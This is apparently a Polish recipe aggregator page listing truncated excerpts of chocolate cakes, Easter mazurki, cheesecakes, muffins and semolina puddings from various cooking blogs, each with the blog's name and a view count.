łyżki powideł lub dżemu ( u mnie porzeczkowy) 2 łyżki żurawiny 2 łyżki wiśni np. z nalewki 1 łyżka orzechów pokrojonych na drobno Polewa czekoladowa 1/2 tabliczki deserowej bądź gorzkiej czekolady ( jeśli chcemy aby całe ciasto było w czekoladzie roztapiamy całą tabliczkę ) 1. Masło miksujemy z cukrem na puch i dodajemy po jednym jajku cały czas miksując. 2. Dodajemy przesianą mąkę(...)mnie w kształcie keksowej rynienki z falą ) Pieczemy w 180 stop przez około 45-50 minut do tzw. suchego patyczka (patyczek wbity w ciasto musi być suchy) 3. Czekoladę rozpuszczamy nad kąpielą wodną i polewamy ciasto, możemy użyć też gotowej polewy. Wierzch posypujemy orzechami. Smacznego

Gotowanie...to proste !
Muffiny czekoladowe 144

Zapraszam na cezkoladowe muffinki.  Składniki: 1 szkl mąki 100 g gorzkiej czekolady 200 g ricotty 2 jajka 2 łyżeczki proszku do pieczenia 2 łyżki oleju rzepakowego 2 łyżki mleka 1/2 szkl cukru 1 łyżka naturalnego kakao do dekoracji: cukier puder Przygotowanie: Rozpuszczamy gorzką czekoladę razem z mlekiem i odstawiamy do ostygnięcia.W jednej misce mieszamy razem suche składniki:mąkę(...)proszek do pieczenia, cukier, kakao. W drugiej misce mieszamy mokre składniki: rozpuszczoną czekoladę, ricottę, jajka i olej. Przelewamy mokre do suchych i dokładnie mieszamy. Do foremek nakładamy ciasto do 3/4 wysokości foremki. Wkładamy mufiny do piekarnika i pieczemy przez 30 minut w temperaturze 200 stopni

słodkie i nie tylko historie kulinarne
Mazurek 148

mazurki, układamy je na blaszce wyłożonej papierem do pieczenia. Pieczemy do zarumienienia się na złoty kolor - koło 20-30 min. Zdobimy je według uznania, u mnie kajmak i deserowa czekolada. A na wierzch bakalie, pisaki cukrowe. Widziałam, że można zdobić samą czekoladączekoladą i następnie posypać bakaliami albo dżemem lub marmoladą..  Ile głów tyle pomysłów. Na pierwszy

Justa próbuje gotować
Czekoladowy budyń z kaszy manny z bakaliami 103

Jeśli pozostały nam po świętach bakalie, warto przygotować budyń z ich dodatkiem. Czekoladowy budyń z kaszy manny jest przepyszny! Szybki w przygotowaniu, bo gotujemy kaszę manną z mlekiem i czekoladą, a później blendujemy ręcznym blenderem na gładką masę. Taki przepis dobry jest na deser czy na śniadanie, smakuje wyśmienicie na ciepło i na zimno, warto spróbować! Czekoladowy budyń z kaszy(...)manny z bakaliami / 4 porcje Składniki: 2 szklanki mleka 5 łyżek kaszy manny 60 g czekolady mlecznej po 4 łyżeczki: wiórków kokosowych skórki z pomarańczy, kandyzowanej płatków migdałów Przygotowanie: Do garnka wlewamy mleko. Dodajemy kaszę manną o kawałki czekolady. Zagotowujemy. Mieszamy, aby nie zrobiły się grudki. Gdy kasza będzie już gotowa, miksujemy blenderem ręcznym. Budyń przelewamy do małych słoiczków/szklaneczek

Moja smaczna kuchnia
Ciasto Snickers bez pieczenia 647

Pyszne ciasto,z masą kajmakową ,orzeszkami i czekoladą-mniam,błyskawicznie znikło ze stołu,polecam wszystkim spróbować.... Składniki: masa budyniowa : 650 ml mleka 2 opakowania budyniu waniliowego (proszek) 1/2 szklanka cukru pudru 100g masła masa krówkowa: ok. 250 g masy kajmakowej firmy Helio(niecałe opakowanie) 100g masła 120 g orzeszków ziemnych solonych dodatkowo: 2 opakowania po 220 g herbatników(...)czekolady 10 łyżek śmietanki kremówki 30% mleko do moczenia herbatników Przygotowanie: Szklankę mleka wymieszać z proszkiem budyniowym i dodać do reszty zagotowanego mleka z masłem i cukrem .  Masę krówkową podgrzewam z masłem i dorzucam orzeszki. Herbatniki namaczam w mleku,wykładam nimi blaszkę kwadratową, na to nakładam połowę kremu budyniowego. Druga warstwa herbatników, masa krówkowa. I znowu herbatniki, budyń, herbatniki

Swojskie jedzonko
Sernik "Krówka" - bardzo prosty, pieczony sernik z dodatkiem ganache i orzechów. 287

być z wiaderka, ważne by był dobrej jakości np. "Mój Ulubiony") 800 g masy kajmakowej/krówkowej (2 puszki) 100 g orzeszków solonych 200 ml śmietany kremówki 200 g mlecznej czekolady (dobrej jakości) 5 łyżek mąki ziemniaczanej 6 jaj 200 g herbatników 100 g masła cukier puder do masy - 1 szklanka (tutaj najlepiej dobrać ilość wg uznania, bo masa z dodatkiem(...)godziny. PIECZEMY BEZ TERMOOBIEGU. Studzić przy uchylonych drzwiczkach. Gdy sernik jest już chłodny, przygotować polewę.  W rondelku umieścić pół pozostałej puszki kajmakowej, kremówkę oraz połamaną na drobno czekoladę. Pomieszać, następnie włączyć palnik i (nie dopuszczając do zagotowania) ciągle mieszając, pozwolić czekoladzie się rozpuścić.  Gładkie ganache wylać na ciasto, posypać orzeszkami. Przechowywać w lodówce. Smacznego

Poezja Smaków - blog kulinarny
Jagodowa komosanka z czekoladą. Śniadanie w 15 minut! 124

nastrój a dzień staje się lepszy. Proste i szybkie w przygotowaniu posiłki to moja specjalność, takie właśnie jest śniadanie. Mrożone jagody wręcz prosiły się o użycie. Do tego kostka czekolady deserowej, odrobina jogurtu naturalnego, jagody goji i płatki migdałów by dobrze zacząć kolejny dzień.  Składniki (2 porcje): 1 szklanka mleka  1/2 szklanki komosy ryżowej  kilka łyżek jogurtu(...)naturalnego  2-3 łyżki syropu klonowego  2-3 kostki czekolady deserowej  2-3 łyżki jagód goji  2-3 łyżki migdałów w płatkach  1 szklanka mrożonych jagód  Komosę ryżową gotuję w mleku do wchłonięcia całego płynu, nie powinno to trwać dłużej niż 10 minut. Na koniec gotowania dodaję jagody oraz czekoladę. Składniki dokładnie mieszam

Mango Papaja
Kokosowe sernikobrownie czyli poWeekendowe Łakocie odc.152 188

którego nie został nawet okruszek!!! Masa serowa rewelacyjnie równoważy słodki, czekoladowy spód, pozostaje bowiem lekko kwaskowa.  POLECAM nie tylko na święta oczywiście! Kokosowe sernikobrownie brownie: 100 g gorzkiej czekolady 75 g masła 2 jajka 70 g cukru 1 łyżka kakao 65 g mąki pszennej 1 łyżeczka proszku do pieczenia masa serowa: 165 g kremowego serka (typu Almette lub Turek(...)jogurtu greckiego 1 jajko 45 g cukru pudru 35 g wiórków kokosowych Czekoladę łamiemy na kawałki i z masłem roztapiamy w kąpieli wodnej. Lekko studzimy. Jajka ubijamy z cukrem, a następnie wlewamy do nich czekoladę z masłem, cały czas ubijając. Do masy czekoladowej wsypujemy stopniowo mąkę, proszek do pieczenia i kakao. Mieszamy tylko do połączenia składników. Ciasto przekładamy do foremki

Dzieje kuchennej Wiewióry
Mazurek czekoladowy z owocami 146

mąki 100 g masła 2 żółtka 1 łyżka kwaśnej śmietany 1/2 łyżeczki proszku do pieczenia 2 łyżki cukru pudru Masa czekoladowa 100 g śmietany kremówki 100 g czekolady mlecznej 1 łyżka masła Śmietanę rozgrzać wraz z masłem w rondelku i dodać czekoladę. Wszystko wymieszać aż powstanie gładka masa czekoladowa. Dekoracja owoce dowolne 2 łyżki galaretki cytrynowej Galaretkę rozpuścić(...)ułożyć ciasto i piec w piekarniku nagrzanym do 200 stopni C do momentu aż ciasto będzie rumiane. Na przestudzone ciasto wlać masę czekoladową i poczekać aż lekko zastygnie. Na czekoladzie układać pasami pokrojone owoce. Posmarować rozpuszczoną galaretką. mazurek czekoladowy z owocami

O kuchni z uczuciem
Mazurek czekoladowy 104

Banalnie prosty, i wcale nie słodki, mazurek czekoladowy. Tym razem bardziej wytrawnie- bo z gorzką czekoladą, ale śmiało możecie zastąpić ją mleczną. Spód mazurka do zrobienia na dwa sposoby: 1) bez pieczenia  LINK   na bazie ciasteczek lub, 2)  100 g masła       2 żółtka       30 g kakao(...)ciasto rozwałkowujemy i formujemy kształty. Wstawiamy ponownie do lodówki na czas nagrzania piekarnika do 180 stopni z funkcją termoobiegu. Pieczemy około 13-15 minut.  Czekoladowy ganasz: 200 g czekolady, sami zdecydujcie jakiej 100 ml śmietanki 30% Czekoladę rozpuszczamy w rondlu, dodajemy śmietankę i dokładnie mieszamy. Przestudzony czekoladowy ganasz wylewamy na mazurki. Dekorujemy i wstawiamy do lodówki.    Artykuł

Rusty Fork
Pascha czekoladowa 135

paschę z suszonymi śliwkami i ziarnami kawy (tu przepis ), ale w tym roku była wersja czekoladowa. Prawie jak w kawiarni na rynku w Płońsku.     Składniki: tabliczka gorzkiej czekolady 100 g masła pół szklanki cukru pudru 7 żółtek opakowanie serka mascarpone (ok. 250 g) 500 g sera twarogowego (takiego jak na sernik) po pół łyżeczki ekstaktu z wanilii(...)kakao 200 g wędzonych śliwek (można zostawić trochę do dekoracji) gaza opatrunkowa z apteki lub muślin kakao do dekoracji     Jak przygotować paschę czekoladową? Rozpuszczamy w kąpieli wodnej czekoladę i osobno masło. Cukier ucieramy z roztopionym masłem na gładką masę. Dodajemy żółtka (po jednym), kakao, czekoladę, a następnie ser i mascarpone (stopniowo). Na koniec dodajemy śliwki. Stale mieszamy

Ugotowane pozamiatane
Wielkanocne życzenia i ciasto krówka 146

powstania gładkiego budyniowego kremu. śmietankowy wierzch: 500 ml schodzonej śmietany kremówki 2 opakowania śmietan-fix opcjonalnie: cukier z prawdziwą wanilią lub cukier puder do smaku 20 g gorzkiej czekolady Schłodzoną śmietanę ubijamy krótko mikserem, aż zacznie gęstnieć. Dodajemy śmietan-fixy i ewentualnie cukier (ja go już nie dodaję, ponieważ inne składniki ciasta są bardzo słodkie) i ubijamy jeżcze przez chwilę(...)otrzymania sztywnej masy śmietanowej. Czekoladę ścieramy dooddzielnego naczynia na małych oczkach tarki. Skłądanie całości: Blaszkę wykładamy papierem do pieczenia, na którym układamy jedną warswę herbatników/krakersów. Na herbatniki wylewamy ciepłą masę krówkową i wygładzamy ja łyżką. Na masie krówkowej układamy kolejną warstwę ciastek, a na ciastka wykładamy masę budyniową, którą również wygładzamy łyżką. Trzecią warstwę ciastek układamy na kremie

Zawsze głodna!
TARTA Z KARMELEM CZEKOLADOWYM I ORZECHAMI WŁOSKIMI 112

szczypta soli ● papier do   pieczenia ● drobna fasola lub szklane kulki do wysypania foremki   Karmel czekoladowy: ● 6 łyżek mleka ● 150 g miodu ● 100 g cukru ● 50 g gorzkiej czekolady ● 300 ml słodkiej śmietanki ● 300 g orzechów włoskich   Przygotowanie: Zrób ciasto: do dużej miski wsyp mąkę, sól, dodaj masło pocięte na drobne kawałki. Podszczypując koniuszkami palców, połącz mąkę(...)złoty kolor. Wyjmij z piekarnika. Ostudź. Zrób masę karmelową: do garnka wlej mleko, dodaj cukier i miód. Delikatnie podgrzej, aż cukier się całkowicie rozpuści. Dodaj startą na drobnej tarce czekoladę. Delikatnie podgrzej, aż cukier się całkowicie rozpuści. Delikatnie podgrzej. Gdy czekolada całkowicie się rozpuści, zdejmij na chwilę garnek z ognia i wlej śmietankę. Ponownie podgrzej i redukuj masę, aż zgęstnieje

Smaki Francji współczesna kuchnia francuska
Mini mazurki czekoladowe 137

zamiast mini mazurków zrobić jeden duży. składniki: 250 g mąki 150 g miękkiego masła 3 łyżki cukru pudru 1 jajko szczypta soli 1/2 łyżeczki proszku do pieczenia 150 g czekolady (dałam 100 g deserowej i 50 g gorzkiej) 150 g śmietanki 30 % bakalie Helio do dekoracji: płatki migdałów, wiórki kokosowe, orzechy włoskie, skórka pomarańczowa Mąkę wymieszać z cukrem pudrem, solą(...)ładnie się przyrumieni, funkcja góra-dół. Upieczone kruche spody wyjąć z foremek i wystudzić na kratce. Przygotować czekoladowe nadzienie. Do garnuszka wlać śmietankę i postawić na ogniu. Dodać połamaną czekoladę. Podgrzewać aż czekolada całkowicie się rozpuści. Masę przestudzić i napełnić kruche spody. Udekorować bakaliami

Monia miesza i gotuje
Czekoladowe gniazdka 91

butelki, tworząc dołek. Gniazdka układać na blaszce wyłożonej papierem do pieczenia. Wstawić do piekarnika i piec około 15 minut w temperaturze 160º C. Wystudzić na kratce. 100 g czekolady  cukrowe jajeczka Czekoladę z roztopić w kąpieli wodnej. Gniazdka udekorować czekoladą i jajeczkami

Moje domowe kucharzenie
Wielkanocny wieniec drożdżowy z białą czekoladą i malinami 150

Wielkanocny wieniec drożdżowy z białą czekoladą, malinami (mrożonymi o tej porze) z nutą cytrynową i płatkami migdałów. Idealny dla tych, którzy mają ochotę na coś innego na wielkanocnym stole. Polecam również mój ulubiony „ Świąteczny wieniec drożdżowy z makiem i lukrem „.     http://www.mojadelicja.pl/wp-content/uploads/2017/04/d-3-wielkanocny-wieniec-drozdzowy-malinami-biala-czekolada-easter-yeast-wreath-cake-1170x874.jpg The post Wielkanocny wieniec drożdżowy z białą czekoladą i malinami appeared first

Moja Delicja
Rarytas z krakersem i karmelem 206

czubata szklanka maki 1 łyżka oleju 3 łyżeczki kakao 1 łyżeczka proszku do pieczenia 1 puszka kajmaku 200 g masła 2 paczki krakersów posiekane orzechy włoskie 50 g czekolady gorzkiej 50 g czekolady mlecznej 4 łyżki śmietanki 30%, albo mleka    Sposób przygotowania: Białka należy oddzielić od żółtek i zmiksować z cukrem puch. Następnie dodać żółtka i dalej miksować(...)posmarować częścią masy kajmakowej, po czym ułożyć warstwę krakersów, lekko docisnąć i kładziemy następną warstwę masy i warstwa krakersów, masa kajmakowa i ciasto czekoladowe, mi wyszły 3 warstwy krakersów. Czekolady rozpuścić w kąpieli wodnej, dolać śmietankę i gotowa polewą polać ciasto. Orzechy pokroić na mniejsze kawałki i posypać nim cale ciasto. Odstawić do lodówki na całą noc i gotowe :) Smacznego

Różne smaki w kuchni
Czekoladowy budyń z kaszy manny 127

deser czy na śniadanie, kasza manna w nowej odsłonie przed Wami! Czekoladowy budyń z kaszy manny / 2 porcje Składniki: 2 szklanki mleka 5 łyżek kaszy manny 100 g czekolady mlecznej czekoladowe chrupki do dekoracji Przygotowanie: Do garnka wlewamy mleko. Wsypujemy kaszę manną. Do mleka z kaszą dodajemy kawałki czekolady. Zagotowujemy, ciągle mieszamy, aby nie powstały grudki. Gdy kasza manna(...)mleku z czekoladą zgęstnieje, miksujemy ręcznym blenderem. Gdy budyń będzie za gęsty, dodajemy więcej mleka. Podajemy na ciepło lub na zimno z chrupkami czekoladowymi

Moja smaczna kuchnia
Kruche ciasteczka z kawałkami czekolady. 136

upiec. Przez noc ciasto schłodzić w lodówce. Składniki: 3 szkl. mąki 3/4 szkl. cukru 6 żółtek 1 kostka margaryny 1 łyżeczka proszku do pieczenia 1 łyżka śmietany 50 g czekolady Wykonanie: Mąkę zmieszać z proszkiem i cukrem, dodać margarynę i posiekać nożem. Dodać żółtka i śmietanę. Zagnieść gładkie ciasto i zawinąć w folię aluminiową. Tak przygotowane, włożyć do lodówki(...)najmniej na godzinę. Czekoladę posiekać nożem. Ciasto podzielić na dwie, lub trzy części i rozwałkować, podsypując mąką. Na wierzch rozwałkowanego ciasta posypać czekoladę i wcisnąć ją delikatnie wałkując wałkiem. Wykrawać ciasteczka i układać na blaszce, wyłożonej papierem do pieczenia. Piec w temperaturze 180 stopni około 15 minut. Moje ciasteczka, są w kształcie jajeczek i króliczków, ze względu na nadchodzące święta

Agusiowe smakołyki
Czekoladowa pascha wielkanocna – przepis 144

przepis. Wesołych Świąt! Czekoladowa pascha wielkanocna – składniki: 1/2 kg sera śmietankowego trzykrotnie mielonego 25 dkg masła 4 żółtka ugotowane na twardo 3/4 szklanki cukru pudru 1 tabliczka gorzkiej czekolady migdały – posiekane lub płatki orzechy włoskie lub laskowe kandyzowana skórka pomarańczowa 1 łyżeczka ekstraktu waniliowego jałowa gaza opatrunkowa – 1 opakowanie, rozmiar 1 metr na 1 metr Owoce(...)bakalie do dekoracji Cieszę się, że czytasz mój blog. Nie przegap żadnego wpisu – obserwuj PATCHWORK w serwisie Facebook – Instagram – Google+ – Bloglovin’ Czekoladowa pascha wielkanocna – wykonanie Czekoladę z masłem trzeba w kąpieli wodnej i przestudzić. Żółtka dokładnie rozgnieść widelcem i przetrzeć przez sito. W misie miksera wymieszać ser, czekoladę z masłem, żółtka, cukier i wanilię. Utrzeć na jednolitą masę. Dodać

Patchwork
Mazurek na mące kokosowej z czekośliwką i białą czekoladą z kokosa 167

glutenu, bez laktozy i bez cukru! To prosty przepis na mazurka na spodzie z mąki kokosowej z kakaową masą z suszonych śliwek (czekośliwką), kokosową polewą, przypominającą w smaku białą czekoladę, migdałami i lawendą. Bardzo przyjemny i prosty przepis, który możecie dowolnie modyfikować, aby stworzyć swojego wymarzonego mazurka. ;) * SKŁADNIKI na mazurek o wymiarach 25x25 cm Spód: 5 łyżek mąki kokosowej(...)duże jajka 1 łyżka ksylitolu lub erytrytolu 2 łyżki oleju kokosowego Czekośliwka: 200 g suszonych śliwek 1 łyżka kakao Biała czekolada z kokosa: 200 g bloku kokosowego 2 łyżki ksylitolu lub erytrytolu 1 laska wanilii Dekoracja: obrane migdały suszona lawenda * PRZYGOTOWANIE Spód z mąki kokosowej W jednej misce połącz mąkę kokosową z ksylitolem, płynnym olejem kokosowym i jajkami. Masę wymieszaj

Food Square
Sernik Kapitański 258

wyobrażam sobie Świąt Wielkanocnych bez sernika... a dziś dodatkowo zaproponuję idealną wersję na tą okazję - czyli Sernik Kapitański, na czekoladowo-kawowym spodzie, z dodatkiem likieru Advocat i czekolady śmietankowo-kawowej, zwieńczony warstwą bitej śmietany, posypanej delikatnie kakao. Sernik jest w smaku bardzo delikatny i kremowy, a Advocat w nim absolutnie nie dominuje, tylko jest miłym uzupełnieniem. Składniki (na tortownicę(...)temperaturze pokojowej 75 dag twarogu mielonego ( może być wiaderkowy ) 2/3 szklanki drobnego cukru 4 jajka 200 ml śmietanki 30% budyń śmietankowy ( proszek ) 2/3 szklanki likieru Advocat 100 g czekolady śmietankowo-kawowej ( dwuwarstwowej ) Warstwa śmietanowa: 250 g serka mascarpone 250 ml śmietanki 30% 2 łyżka cukru pudru Zaczynamy od przygotowania spodu sernika. Herbatniki zmielić lub rozdrobnić blenderem. Masło rozpuścić i wymieszać

Świat Ciasta
Marmurkowa, łaciata babka z czekoladą 155

marmurkowa babka. Wilgotna, czekoladowa i długo utrzymująca świeżość. Na pewno nie zabraknie jej na moim wielkanocnym stole w tym roku! Składniki: - 100 g miękkiego masła - 100 g ciemnej gorzkiej czekolady - 0,5 szklanki mleka - 1/3 szklanki śmietany 12% lub jogurtu naturalnego - 3/4 szklanki cukru - 1,5 szklanki mąki - 2 jajka - 1 łyżeczka proszku do pieczenia Miękkie masło utrzeć z cukrem(...)białą masę,cały czas miksując dodawać po 1 jajku. Czekoladę rozpuścić w kąpieli wodnej. Do utartego masła dodawać na przemian mleko ze śmietaną/jogurtem i mąkę do masy, dokładnie wymieszać. Ciasto podzielić na dwie części (1/3 i 2/3). Do jednej dodać ekstrakt waniliowy, a do drugiej rozstąpioną, przestudzoną czekoladę. Ciasto wkładać na przemian do formy, po łyżcę: raz jasnej

CookYourself
Ciasto czekoladowe z migdałami (bez glutenu paleo) 122

Miałem jeszcze w spiżarni dwa idealnie dojrzałe awokado. A co można zrobić z dojrzałym awokado? Wiadomo, że ciasto czekoladowe Wyszło super smaczne z chrupiącymi pokruszonymi migdałami oraz kawałkami gorzkiej czekolady. I jak to już powoli staje się tradycją, jest mega proste do przygotowania co jest cennym atutem świątecznego przepisu – im mniej czasu w kuchni, tym lepiej! Składniki: 2 dojrzałe(...)wanilii 4 łyżki miodu ⅓ szklanki oleju koksowego 2 jajka ½ szklanki lekko zmielonych migdałów ⅓ szklanki kakao 2 szklanki mąki migdałowej szczypta soli łyżeczka sody oczyszczonej łyżeczka soku z cytryny gorzka czekolada Przygotowanie: Rozgrzewamy piekarnik do 180 stopni. W blenderze miksujemy: obrane awokado, jajka, olej kokosowy, wanilię, śmietanę, sok oraz miód i czekamy na moment otrzymania jednolitej masy. W misce mieszamy kolejno

PaleoLife
Mini serniczek czekoladowy 125

nieco. Składniki: 100 ml śmietanki 36% schłodzonej 150 g deseru czekoladowo-pistacjowego 2 łyżki cukru pudru 1 łyżka żelatyny 1/4 szkl gorącej wody kilka biszkoptów polewa: 4 ząbki białej czekolady 2 ząbki mlecznej czekolady 1 łyżeczka oleju kokosowego lub masła kilka pistacji Przygotowanie: Żelatynę rozpuszczamy w gorącej wodzie i odstawiamy do przestygnięcia. Dwie metalowe obręcze ustawiamy na tacce plastikowej(...)sztywno, dodajemy deser i znowu miksujemy. Na koniec dodajemy ostudzoną żelatynę i chwilę miksujemy. Napełniamy obręcze kremem i lekko dociskamy. Wstawiamy do lodówki. Po 30 minutach roztapiamy obie czekolady z olejem w mikrofalówce (ok. 20 sekund i mieszamy). Wyjmujemy serniczki z obręczy( najlepiej odciąć je delikatnie nożem). Sosem polewamy serniczki i dekorujemy pistacjami. Wstawiamy do lodówki. Podajemy schłodzone

słodkie i nie tylko historie kulinarne
Ciasto orzechowo - serowe 145

łyżki maki pszennej 1/2 łyzki soku z cytryny 1 łyżeczka proszku do pieczenia Masa śmietankowa: 1 szkl. kwaśnej śmietany 200 g masła 5 łyżek cukru Polewa czekoladowa: 50 g czekolady gorzkiej 50 ml śmietanki kremówki bądż mleka Ponadto: tłuszcz do blaszki papier do pieczenia bułka tarta Sposób przygotowania: Ciasto orzechowe: Jajka ubić z cukrem na biały , puszysty krem. Dodać obie(...)orzechowo- serowe: Ostudzone ciasto orzechowe przekroić wzdłuż. Na jednym płacie ciasta rozsmarować połowę masy. Przykryć ciastem serowym. Wylać pozostałą masę. Przykryć drugim płatem ciastem. Udekorować polewą czekoladową ( 50 g czekolady gorzkiej rozpuścić z 50 ml śmietanki kremówki, bądż mleka, jeśli będzie za rzadka dodać więcej czekolady) i zmiksowanymi orzechami

Różne smaki w kuchni
Torcik makowy 136

robiłam i przyznam się , że miałam obawy jak mi wyjdzie . Torcik przygotowuje się dość szybko, gdyż maku nie trzeba gotować ani mielić, używa się maku suchego. Krem z białej czekolady bardzo dobrze współgra z ponczem z amaretto. Wymiary tortownicy : średnica 23 cm Czas pieczenia : 45 minut Temp. pieczenia : 180 C Składniki: 5 jajek 150 g cukru pudru 2 łyżki zmielonych(...)migdałów 120 g mąki pszennej 2 łyżki mąki ziemniaczanej 1 łyzka proszku do pieczenia 200 g suchego maku 6  łyżek amaretto 300 g białej czekolady 400 g śmietany kremówki płatki migdałowe do dekoracji kakao , margaryna, cukier do polewy ( 3 łyżki kakao, 3 łyżki cukru, 3 łyżki mleka, 2 łyżki margaryny - cukier, kakao i mleko rozpuszczamy w rondelku na małym

Różne smaki w kuchni
Babka migdałowo-czekoladowa 99

minut Temp. pieczenia : 170 C  Składniki: 250 ml śmietany kremówki 30 % 4 jajka 150 g drobnego cukru cukier waniliowy 100 g migdałów ( mogą być orzechy włoskie ) 50 g czekolady gorzkiej 250 g mąki krupczatki 2 łyżeczki proszku do pieczenia   Dodatkowo (Polewa czekoladowa) 50 g czekolady deserowej 50 ml śmietany kremówki Sposób wykonania: Śmietankę ubić na pół sztywno(...)wymieszać z pianą z białek. Następnie dodać pokruszoną  czekoladę, zmielone migdały, żółtka i mąkę przesianą z proszkiem do pieczenia. Wymieszać. Masą wypełnić foremkę na babkę wcześniej wysmarowana tłuszczem i posypaną mąką krupczatką. Piec ok. 50- 60 minut w temp. 170 C . Babkę przestudzić w foremce, po czym wyjąć i polać polewą czekoladową . Smacznego

Różne smaki w kuchni
Seromakowiec 210

Szukałam wśród Seromakowców i znalazłam na stronie  Kwestiasmaku  . Seromakowiec wyszedł wilgotny , aromatyczny , zrobię go jeszcze nie raz ;) Zmieniłam nieco masę makową . Do tej pozostałej masy dodałam tylko czekoladę zmielone migdały. Wymiary tortownicy : średnica 24 cm Czas pieczenia : 25 minut + 60 minut Temp. pieczenia : 175 C  Składniki: Masa makowa  : 2 szklanki gotowej masy makowej  1 szklanka(...)zmielonych na miał migdałów 50 g ciemnej czekolady 2 płaskie łyżki mąki 1 łyżeczka proszku do pieczenia 3 łyżki likieru Amaretto Masa serowa: 500 g śmietanowego sera twarogowego zmielonego 3 razy ( użyła ser z wiaderka Włoszczowa ) ziarna z 1 laski wanilii 100 g miałkiego cukru 2 łyżki mąki ziemniaczanej 2 żółtka Sposób przygotowania: Masa makowa: Masę makową  wymieszać

Różne smaki w kuchni
Ciasto waniliowo-czekoladowe 89

pewno też tak czasem macie , że macie ochotę na szybkie i pyszne ciasto ? ja bardzo często tak mam i dlatego któregoś dnia po przejrzeniu książeczki " Czekolada" znalazłam świetny przepis , którym się z Wami teraz podzielę :) Wymiary blaszki: 30 x 12 cm Temp. pieczenia : 190 C Czas pieczenia : 30 - 40 minut Składniki: 3/4 szkl. cukru 3/4 kostki margaryny 1/2 łyżeczki esencji(...)waniliowej ( można użyć zwykłego waniliowego aromatu) 3 jajka 1 i 3/4 szkl. przesianej mąki 1,5 łyżeczki proszku do pieczenia 50 g czekolady deserowej Sposób przygotowania: Ucieramy miękką margarynę z cukrem na puszystą , gładką masę . Wlewamy esencję waniliową , stopniowo dodajemy całe jajka . Cały czas miksując , wsypujemy mąkę z proszkiem do pieczenia. Miksujemy na gładką masę . Dzielimy masę na pół

Różne smaki w kuchni
Pyszny mazurek kawowy z marmoladą 119

serka waniliowego lub śmietany Nadzienie: 100 g mleka w proszku 1 łyżka kawy rozpuszczalnej ( byle nie była w granulkach bo trudno się rozpuszcza) mały cukier waniliowy Ponadto: marmolada  czekolada mleczna ozdoby   Sposób przygotowania: Mąkę przesiewamy ze szczyptą soli. Dodajemy 200 g schłodzonego masła i 100 g cukru. Składniki siekamy, dodajemy żółtko i serek. Szybko zagniatamy i formujemy kule(...)cukrem waniliowym. Do suchych składników,dolewamy 80 ml wrzątku i miksujemy.  Następnie dodajemy rozpuszczone,ostudzone masło. Mieszamy i wylewamy na mazurek, pokryty marmoladą. 50 g czekolady rozpuszczamy w kąpieli wodnej. Papier do pieczenia kładziemy na deseczce i łyżeczką robimy esy floresy na papierze, takie nie za duże, żeby po zdejmowaniu z papieru się nie połamały. Wkładamy do lodówki

Różne smaki w kuchni
Rarytas z krakersem i karmelem 214

czubata szklanka mąki 1 łyżka oleju 3 łyżeczki kakao 1 łyżeczka proszku do pieczenia 1 puszka kajmaku 200 g masła 2 paczki krakersów posiekane orzechy włoskie 50 g czekolady gorzkiej 50 g czekolady mlecznej 4 łyżki śmietanki 30%, albo mleka    Sposób przygotowania: Białka należy oddzielić od żółtek i zmiksować z cukrem puch. Następnie dodać żółtka i dalej miksować(...)posmarować częścią masy kajmakowej, po czym ułożyć warstwę krakersów, lekko docisnąć i kładziemy następną warstwę masy i warstwa krakersów, masa kajmakowa i ciasto czekoladowe, mi wyszły 3 warstwy krakersów. Czekolady rozpuścić w kąpieli wodnej, dolać śmietankę i gotową polewą polać ciasto. Orzechy pokroić na mniejsze kawałki i posypać nim cale ciasto. Odstawić do lodówki na cala noc i gotowe :) Smacznego

Różne smaki w kuchni
Marchewkowe romby bez cukru 139

orzechów pekan 100 g wiórków kokosowych 1 łyżka cynamonu skórka starta z cytryny 125 g mąki 1 łyżeczka proszku do pieczenia Polewa 1 łyżka oleju kokosowego 80 g gorzkiej czekolady Sposób przygotowania: Masło należy stopić, wystudzić. Marchewkę myjemy, obieramy i ścieramy na tarce o małych oczkach. Rozdzielamy jajka na żółtka i białka. Do żółtek dodajemy szczyptę soli, cukier wanilinowy(...)pieczenia i wlewamy ciasto.  Wstawiamy do nagrzanego piekarnika 170C i pieczemy ok 60 - 65 minut. Polewa: W kąpieli wodnej rozpuszczamy łyżkę oleju kokosowego z połamaną na kawałki czekolada. Czekamy aż czekolada się rozpuści. Zestawiamy z ognia i czekamy ok. 15 minut. Polewamy wystudzone ciasto polewa. Odstawiamy w chłodne miejsce. Smacznego

Różne smaki w kuchni
Torcik Wuzetka 135

ziemniaczanej łyżeczka proszku do pieczenia 4 łyżki ciemnego kakao łyżka wody Krem: 250 ml śmietany 30% 250 g serka mascarpone   Ponadto: wiśnie kandyzowane płatki migdałowe 80 g gorzkiej czekolady 5 łyżek śmietanki 30%  Sposób przygotowania : Biszkopt Żółtka oddzielamy od białek. Następnie białka ubijamy z połową cukru na sztywną pianę a żółtka z drugą połową cukru. Masę jajeczną łączymy(...)minut. Krem Zimną śmietanę ubijamy i w trakcie dokładamy serek mascarpone. Torcik Wuzetka Wystudzone, przekrojone ciasto, polałam sokiem z czarnej porzeczki, wyłożyłam krem śmietankowy i pokryłam drugim blatem ciasta. Czekoladę rozpuściłam w kąpieli wodnej, dolałam śmietankę i poczekałam aż czekolada się rozpuści. Polać ciasto polewą czekoladową. Migdały uprażyć na patelni, posypać nimi ciasto. Wisienkami ozdobić wierzch torcika.  Smacznego

Różne smaki w kuchni
Muffinkowe króliczki z gorzką czekoladą 169

może tak dzieciakom zamiast słodyczy na święta zapakować muffinkowe króliczki z gorzką czekoladą lub po prostu własnoręcznie wypieczone muffinki? Jeśli nie masz foremki do wypiekania świątecznych muffinek możesz użyć zwykłej formy do muffinek lub po prostu papilotek i blachy. Z porcji ciasta wyjdzie ci około 12 muffinek. Wykonanie W dużej misce wymieszaj suche składniki – przesianą mąkę z proszkiem do pieczenia(...)cukrem, solą, skórką z cytryny (opcjonalnie) i cukrem waniliowym. Posiekaj bardzo drobno gorzką czekoladę i dodaj do sypkich produktów.Wymieszaj. W drugiej misce rozmieszaj jajka z jogurtem lub kefirem oraz roztopionym i ostudzonym masłem. Przelej mokre składniki do sypkich i delikatnie wymieszaj łyżką – niech składniki się połączą i już : ) Rozgrzej piekarnik do temperatury 190 stopni C. Wlej łyżką do foremki

Eat me! Fit me!
Kakaowe babeczki z truskawkami 121

